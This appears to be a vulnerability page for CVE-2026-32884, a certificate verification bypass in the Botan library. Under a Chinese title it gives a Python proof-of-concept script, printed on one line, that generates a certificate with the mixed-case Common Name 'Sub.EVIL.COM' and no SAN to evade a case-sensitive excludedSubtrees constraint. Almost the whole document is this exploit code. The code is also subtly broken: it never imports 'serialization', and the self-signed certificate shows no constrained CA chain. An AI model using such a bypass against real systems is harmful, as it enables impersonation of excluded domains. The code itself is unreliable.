CVE-2026-32884 Botan证书验证绕过漏洞

# Proof of Concept for CVE-2026-32884 # This script demonstrates creating a certificate with a mixed-case CN # that bypasses an excludedSubtrees constraint in vulnerable Botan versions. from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import rsa import datetime # 1. Generate a private key for the malicious certificate key = rsa.generate_private_key(public_exponent=65537, key_size=2048) # 2. Create a certificate with a mixed-case Common Name (CN) # The CN uses uppercase letters to bypass case-sensitive checks subject = issuer = x509.Name([ x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"), x509.NameAttribute(NameOID.COMMON_NAME, u"Sub.EVIL.COM"), # Vulnerability Trigger ]) # 3. Build the certificate without Subject Alternative Name (SAN) cert = x509.CertificateBuilder().subject_name( subject ).issuer_name( issuer ).public_key( key.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( datetime.datetime.utcnow() ).not_valid_after( datetime.datetime.utcnow() + datetime.timedelta(days=365) ).sign(key, hashes.SHA256()) # 4. Save the generated certificate with open("bypass_cert.pem", "wb") as f: f.write(cert.public_bytes(serialization.Encoding.PEM)) print("Certificate generated: CN=Sub.EVIL.COM") # When verified against a constraint excluding 'evil.com', # vulnerable Botan versions will accept this due to case sensitivity.